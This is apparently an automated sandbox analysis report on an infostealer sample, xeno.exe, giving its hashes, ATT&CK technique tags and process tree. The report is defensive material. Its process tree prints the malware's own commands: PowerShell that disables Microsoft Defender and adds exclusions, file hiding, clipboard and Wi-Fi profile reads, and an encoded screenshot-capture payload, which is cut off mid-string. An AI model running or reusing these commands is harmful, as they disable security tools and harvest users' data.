cb0f31106f21e44edd3e869dd2f2081a9c3909222cd08b20ff5f77f83eaa107e

Analysis

max time kernel
149s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
18/04/2026, 18:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xeno.exe
Size 10.7MB
Sample260418-ws6bbsdw2w
SHA256 cb0f31106f21e44edd3e869dd2f2081a9c3909222cd08b20ff5f77f83eaa107e
MD5 57d5ddc260f753cea77891c744999578
SHA1 cdefdb4688c08d4eda3c5d4d810da7ecd7de20b0
SHA512 43a11ddd68bb179e6c52b370c1f7abc3a6d2e6f70f88b450d5b2e027475b04091f09ced20894f5eaef578d9da598f21800a5193c3ee5a922f1322c6a03f0636d
SSDEEP 196608:0/oRiKM/nDQOJwVqiqpCJk4dziYPSS3uaFmCHskA4NqSRr4ZRjMFTLit45:9M/nDNasY96guQmCHsn4qSRcZpiSt45
TLSH
T1D2B6336A579604B1DCE6A53DEA338107FB70B5011F62DACF0B785B255E2B9B10A3F710
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5412	powershell.exe
3976	powershell.exe
5372	powershell.exe
4976	powershell.exe
1612	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5372	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5236	cmd.exe
1596	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5832	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe
948	xeno.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
5908	tasklist.exe
392	tasklist.exe
5456	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1448	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b43c-35.dat	upx
behavioral2/memory/948-39-0x00007FFED5B20000-0x00007FFED6226000-memory.dmp	upx
behavioral2/files/0x001900000002b439-43.dat	upx
behavioral2/memory/948-46-0x00007FFEEE060000-0x00007FFEEE06F000-memory.dmp	upx
behavioral2/files/0x001900000002b429-48.dat	upx
behavioral2/files/0x001900000002b42d-51.dat	upx
behavioral2/memory/948-50-0x00007FFEEAD60000-0x00007FFEEAD7A000-memory.dmp	upx
behavioral2/memory/948-75-0x00007FFEE8F70000-0x00007FFEE8FF0000-memory.dmp	upx
behavioral2/files/0x001900000002b430-76.dat	upx
behavioral2/memory/948-79-0x00007FFEE8F50000-0x00007FFEE8F5F000-memory.dmp	upx
behavioral2/files/0x001900000002b438-83.dat	upx
behavioral2/memory/948-84-0x00007FFED55E0000-0x00007FFED5B11000-memory.dmp	upx
behavioral2/files/0x001900000002b431-85.dat	upx
behavioral2/memory/948-89-0x00007FFEE8F00000-0x00007FFEE8F1A000-memory.dmp	upx
behavioral2/memory/948-92-0x00007FFEE9020000-0x00007FFEE9049000-memory.dmp	upx
behavioral2/memory/948-91-0x00007FFEE5BD0000-0x00007FFEE5C04000-memory.dmp	upx
behavioral2/memory/948-90-0x00007FFEE5A40000-0x00007FFEE5B0E000-memory.dmp	upx
behavioral2/memory/948-88-0x00007FFED5B20000-0x00007FFED6226000-memory.dmp	upx
behavioral2/files/0x001900000002b43a-87.dat	upx
behavioral2/files/0x001900000002b433-86.dat	upx
behavioral2/memory/948-82-0x00007FFEE8F20000-0x00007FFEE8F34000-memory.dmp	upx
behavioral2/files/0x001900000002b42c-81.dat	upx
behavioral2/files/0x001900000002b434-78.dat	upx
behavioral2/files/0x001900000002b44e-100.dat	upx
behavioral2/memory/948-101-0x00007FFEE5530000-0x00007FFEE56BA000-memory.dmp	upx
behavioral2/files/0x001900000002b43f-102.dat	upx
behavioral2/files/0x001900000002b44f-107.dat	upx
behavioral2/memory/948-108-0x00007FFEE5980000-0x00007FFEE5A3E000-memory.dmp	upx
behavioral2/memory/948-103-0x00007FFEE8ED0000-0x00007FFEE8EDD000-memory.dmp	upx
behavioral2/memory/948-99-0x00007FFEE5CF0000-0x00007FFEE5D15000-memory.dmp	upx
behavioral2/files/0x001900000002b432-98.dat	upx
behavioral2/memory/948-77-0x00007FFEE8F60000-0x00007FFEE8F6D000-memory.dmp	upx
behavioral2/files/0x001900000002b42f-69.dat	upx
behavioral2/files/0x001900000002b42e-68.dat	upx
behavioral2/files/0x001900000002b42b-66.dat	upx
behavioral2/files/0x001900000002b428-65.dat	upx
behavioral2/files/0x001900000002b43b-58.dat	upx
behavioral2/memory/948-225-0x00007FFEE8F50000-0x00007FFEE8F5F000-memory.dmp	upx
behavioral2/memory/948-53-0x00007FFEE8FF0000-0x00007FFEE901C000-memory.dmp	upx
behavioral2/files/0x001900000002b435-52.dat	upx
behavioral2/memory/948-45-0x00007FFEE9020000-0x00007FFEE9049000-memory.dmp	upx
behavioral2/files/0x001900000002b42a-42.dat	upx
behavioral2/memory/948-235-0x00007FFEE8F20000-0x00007FFEE8F34000-memory.dmp	upx
behavioral2/memory/948-298-0x00007FFED55E0000-0x00007FFED5B11000-memory.dmp	upx
behavioral2/memory/948-329-0x00007FFEE5A40000-0x00007FFEE5B0E000-memory.dmp	upx
behavioral2/memory/948-336-0x00007FFEE5BD0000-0x00007FFEE5C04000-memory.dmp	upx
behavioral2/memory/948-338-0x00007FFEE5CF0000-0x00007FFEE5D15000-memory.dmp	upx
behavioral2/memory/948-357-0x00007FFEE5530000-0x00007FFEE56BA000-memory.dmp	upx
behavioral2/memory/948-374-0x00007FFEE5980000-0x00007FFEE5A3E000-memory.dmp	upx
behavioral2/memory/948-358-0x00007FFED5B20000-0x00007FFED6226000-memory.dmp	upx
behavioral2/memory/948-400-0x00007FFEE8F20000-0x00007FFEE8F34000-memory.dmp	upx
behavioral2/memory/948-402-0x00007FFEE8F00000-0x00007FFEE8F1A000-memory.dmp	upx
behavioral2/memory/948-401-0x00007FFED55E0000-0x00007FFED5B11000-memory.dmp	upx
behavioral2/memory/948-399-0x00007FFEE8F50000-0x00007FFEE8F5F000-memory.dmp	upx
behavioral2/memory/948-398-0x00007FFEE8F60000-0x00007FFEE8F6D000-memory.dmp	upx
behavioral2/memory/948-397-0x00007FFEE8F70000-0x00007FFEE8FF0000-memory.dmp	upx
behavioral2/memory/948-396-0x00007FFEE8FF0000-0x00007FFEE901C000-memory.dmp	upx
behavioral2/memory/948-395-0x00007FFEEAD60000-0x00007FFEEAD7A000-memory.dmp	upx
behavioral2/memory/948-394-0x00007FFEEE060000-0x00007FFEEE06F000-memory.dmp	upx
behavioral2/memory/948-393-0x00007FFEE9020000-0x00007FFEE9049000-memory.dmp	upx
behavioral2/memory/948-392-0x00007FFEE5BD0000-0x00007FFEE5C04000-memory.dmp	upx
behavioral2/memory/948-391-0x00007FFEE5980000-0x00007FFEE5A3E000-memory.dmp	upx
behavioral2/memory/948-390-0x00007FFEE8ED0000-0x00007FFEE8EDD000-memory.dmp	upx
behavioral2/memory/948-389-0x00007FFEE5530000-0x00007FFEE56BA000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3200	cmd.exe
4000	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2680	cmd.exe
1076	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5912	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3004	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4000	PING.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
5372	powershell.exe
5412	powershell.exe
3976	powershell.exe
5372	powershell.exe
5412	powershell.exe
3976	powershell.exe
3976	powershell.exe
1596	powershell.exe
1596	powershell.exe
5356	powershell.exe
5356	powershell.exe
1596	powershell.exe
5356	powershell.exe
4976	powershell.exe
4976	powershell.exe
2956	powershell.exe
2956	powershell.exe
1612	powershell.exe
1612	powershell.exe
6008	powershell.exe
6008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5372	powershell.exe
Token: SeDebugPrivilege	5412	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	392	tasklist.exe
Token: SeDebugPrivilege	5908	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5852	WMIC.exe
Token: SeSecurityPrivilege	5852	WMIC.exe
Token: SeTakeOwnershipPrivilege	5852	WMIC.exe
Token: SeLoadDriverPrivilege	5852	WMIC.exe
Token: SeSystemProfilePrivilege	5852	WMIC.exe
Token: SeSystemtimePrivilege	5852	WMIC.exe
Token: SeProfSingleProcessPrivilege	5852	WMIC.exe
Token: SeIncBasePriorityPrivilege	5852	WMIC.exe
Token: SeCreatePagefilePrivilege	5852	WMIC.exe
Token: SeBackupPrivilege	5852	WMIC.exe
Token: SeRestorePrivilege	5852	WMIC.exe
Token: SeShutdownPrivilege	5852	WMIC.exe
Token: SeDebugPrivilege	5852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5852	WMIC.exe
Token: SeRemoteShutdownPrivilege	5852	WMIC.exe
Token: SeUndockPrivilege	5852	WMIC.exe
Token: SeManageVolumePrivilege	5852	WMIC.exe
Token: 33	5852	WMIC.exe
Token: 34	5852	WMIC.exe
Token: 35	5852	WMIC.exe
Token: 36	5852	WMIC.exe
Token: SeDebugPrivilege	5456	tasklist.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeIncreaseQuotaPrivilege	5852	WMIC.exe
Token: SeSecurityPrivilege	5852	WMIC.exe
Token: SeTakeOwnershipPrivilege	5852	WMIC.exe
Token: SeLoadDriverPrivilege	5852	WMIC.exe
Token: SeSystemProfilePrivilege	5852	WMIC.exe
Token: SeSystemtimePrivilege	5852	WMIC.exe
Token: SeProfSingleProcessPrivilege	5852	WMIC.exe
Token: SeIncBasePriorityPrivilege	5852	WMIC.exe
Token: SeCreatePagefilePrivilege	5852	WMIC.exe
Token: SeBackupPrivilege	5852	WMIC.exe
Token: SeRestorePrivilege	5852	WMIC.exe
Token: SeShutdownPrivilege	5852	WMIC.exe
Token: SeDebugPrivilege	5852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5852	WMIC.exe
Token: SeRemoteShutdownPrivilege	5852	WMIC.exe
Token: SeUndockPrivilege	5852	WMIC.exe
Token: SeManageVolumePrivilege	5852	WMIC.exe
Token: 33	5852	WMIC.exe
Token: 34	5852	WMIC.exe
Token: 35	5852	WMIC.exe
Token: 36	5852	WMIC.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeIncreaseQuotaPrivilege	2584	WMIC.exe
Token: SeSecurityPrivilege	2584	WMIC.exe
Token: SeTakeOwnershipPrivilege	2584	WMIC.exe
Token: SeLoadDriverPrivilege	2584	WMIC.exe
Token: SeSystemProfilePrivilege	2584	WMIC.exe
Token: SeSystemtimePrivilege	2584	WMIC.exe
Token: SeProfSingleProcessPrivilege	2584	WMIC.exe
Token: SeIncBasePriorityPrivilege	2584	WMIC.exe
Token: SeCreatePagefilePrivilege	2584	WMIC.exe
Token: SeBackupPrivilege	2584	WMIC.exe
Token: SeRestorePrivilege	2584	WMIC.exe
Token: SeShutdownPrivilege	2584	WMIC.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 948	1072	xeno.exe	80
PID 948 wrote to memory of 3772	948	xeno.exe	82
PID 948 wrote to memory of 2952	948	xeno.exe	83
PID 948 wrote to memory of 1448	948	xeno.exe	84
PID 948 wrote to memory of 3992	948	xeno.exe	87
PID 2952 wrote to memory of 5372	2952	cmd.exe	90
PID 1448 wrote to memory of 5792	1448	cmd.exe	91
PID 3992 wrote to memory of 3976	3992	cmd.exe	92
PID 3772 wrote to memory of 5412	3772	cmd.exe	93
PID 948 wrote to memory of 5864	948	xeno.exe	94
PID 948 wrote to memory of 2076	948	xeno.exe	95
PID 948 wrote to memory of 1256	948	xeno.exe	98
PID 948 wrote to memory of 5236	948	xeno.exe	100
PID 5864 wrote to memory of 392	5864	cmd.exe	102
PID 2076 wrote to memory of 5908	2076	cmd.exe	103
PID 948 wrote to memory of 5388	948	xeno.exe	104
PID 948 wrote to memory of 3256	948	xeno.exe	105
PID 948 wrote to memory of 2680	948	xeno.exe	107
PID 948 wrote to memory of 6016	948	xeno.exe	110
PID 948 wrote to memory of 1928	948	xeno.exe	112
PID 1256 wrote to memory of 5852	1256	cmd.exe	113
PID 5236 wrote to memory of 1596	5236	cmd.exe	115
PID 1928 wrote to memory of 5356	1928	cmd.exe	116
PID 2680 wrote to memory of 1076	2680	cmd.exe	160
PID 6016 wrote to memory of 3004	6016	cmd.exe	118
PID 3256 wrote to memory of 4996	3256	cmd.exe	119
PID 5388 wrote to memory of 5456	5388	cmd.exe	120
PID 948 wrote to memory of 2440	948	xeno.exe	121
PID 2440 wrote to memory of 1020	2440	cmd.exe	123
PID 948 wrote to memory of 1728	948	xeno.exe	124
PID 1728 wrote to memory of 1664	1728	cmd.exe	126
PID 948 wrote to memory of 1792	948	xeno.exe	127
PID 5356 wrote to memory of 4660	5356	powershell.exe	129
PID 1792 wrote to memory of 5080	1792	cmd.exe	130
PID 948 wrote to memory of 3192	948	xeno.exe	131
PID 4660 wrote to memory of 348	4660	csc.exe	134
PID 3192 wrote to memory of 1616	3192	cmd.exe	135
PID 948 wrote to memory of 3540	948	xeno.exe	136
PID 948 wrote to memory of 4904	948	xeno.exe	138
PID 3540 wrote to memory of 2944	3540	cmd.exe	140
PID 4904 wrote to memory of 4976	4904	cmd.exe	141
PID 948 wrote to memory of 5152	948	xeno.exe	142
PID 5152 wrote to memory of 2956	5152	cmd.exe	144
PID 948 wrote to memory of 4420	948	xeno.exe	145
PID 4420 wrote to memory of 3448	4420	cmd.exe	147
PID 948 wrote to memory of 2760	948	xeno.exe	148
PID 2760 wrote to memory of 5832	2760	cmd.exe	150
PID 948 wrote to memory of 1836	948	xeno.exe	151
PID 1836 wrote to memory of 2584	1836	cmd.exe	153
PID 948 wrote to memory of 6052	948	xeno.exe	154
PID 6052 wrote to memory of 764	6052	cmd.exe	156
PID 948 wrote to memory of 2976	948	xeno.exe	157
PID 2976 wrote to memory of 2524	2976	cmd.exe	159
PID 948 wrote to memory of 1076	948	xeno.exe	160
PID 1076 wrote to memory of 1612	1076	cmd.exe	162
PID 948 wrote to memory of 5020	948	xeno.exe	163
PID 5020 wrote to memory of 5912	5020	cmd.exe	165
PID 948 wrote to memory of 5108	948	xeno.exe	166
PID 5108 wrote to memory of 6008	5108	cmd.exe	168
PID 948 wrote to memory of 3200	948	xeno.exe	169
PID 3200 wrote to memory of 4000	3200	cmd.exe	171

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5792	attrib.exe

C:\Users\Admin\AppData\Local\Temp\xeno.exe
"C:\Users\Admin\AppData\Local\Temp\xeno.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Users\Admin\AppData\Local\Temp\xeno.exe
  "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
      4⤵
      Views/modifies file attributes
      PID:5792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5864
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5388
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3256
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6016
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMA